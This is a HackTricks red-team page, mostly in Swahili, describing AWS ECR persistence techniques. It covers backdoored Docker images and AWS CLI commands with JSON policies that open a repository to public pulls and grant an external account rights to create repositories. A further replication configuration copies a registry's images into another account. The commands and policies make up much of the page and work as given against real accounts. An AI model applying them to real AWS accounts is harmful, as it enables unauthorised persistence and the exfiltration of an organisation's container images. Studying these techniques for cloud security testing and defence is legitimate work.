AWS - ECR Persistence

Reading time: 3 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

ECR

Kwa maelezo zaidi angalia:

AWS - ECR Enum

Picha ya Docker Iliyojificha yenye Msimbo Mbaya

Mshambuliaji anaweza kupakia picha ya Docker yenye msimbo mbaya kwenye hifadhi ya ECR na kuitumia kudumisha uendelevu katika akaunti ya AWS inayolengwa. Mshambuliaji anaweza kisha kupeleka picha hiyo mbaya kwa huduma mbalimbali ndani ya akaunti, kama vile Amazon ECS au EKS, kwa njia ya siri.

Sera ya Hifadhi

Ongeza sera kwa hifadhi moja ikikupa wewe (au kila mtu) ufikiaji wa hifadhi:

bash
aws ecr set-repository-policy \
--repository-name cluster-autoscaler \
--policy-text file:///tmp/my-policy.json

# With a .json such as

{
"Version" : "2008-10-17",
"Statement" : [
{
"Sid" : "allow public pull",
"Effect" : "Allow",
"Principal" : "*",
"Action" : [
"ecr:BatchCheckLayerAvailability",
"ecr:BatchGetImage",
"ecr:GetDownloadUrlForLayer"
]
}
]
}

warning

Kumbuka kwamba ECR inahitaji watumiaji kuwa na ruhusa ya kufanya wito kwa ecr:GetAuthorizationToken API kupitia sera ya IAM kabla ya kuweza kuthibitisha kwenye rejista na kusukuma au kuvuta picha yoyote kutoka kwa hifadhi yoyote ya Amazon ECR.

Sera ya Rejista & Urejeleaji wa Makaratasi Mbalimbali

Inawezekana kurejeleza moja kwa moja rejista katika akaunti ya nje kwa kuunda urejeleaji wa makaratasimbalimbali, ambapo unahitaji kuashiria akaunti ya nje ambapo unataka kurejeleza rejista hiyo.

Kwanza, unahitaji kutoa akaunti ya nje ufikiaji juu ya rejista kwa kutumia sera ya rejista kama:

bash
aws ecr put-registry-policy --policy-text file://my-policy.json

# With a .json like:

{
"Sid": "asdasd",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::947247140022:root"
},
"Action": [
"ecr:CreateRepository",
"ecr:ReplicateImage"
],
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
}

Kisha tumia usanidi wa nakala:

bash
aws ecr put-replication-configuration \
--replication-configuration file://replication-settings.json \
--region us-west-2

# Having the .json a content such as:
{
"rules": [{
"destinations": [{
"region": "destination_region",
"registryId": "destination_accountId"
}],
"repositoryFilters": [{
"filter": "repository_prefix_name",
"filterType": "PREFIX_MATCH"
}]
}]
}

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks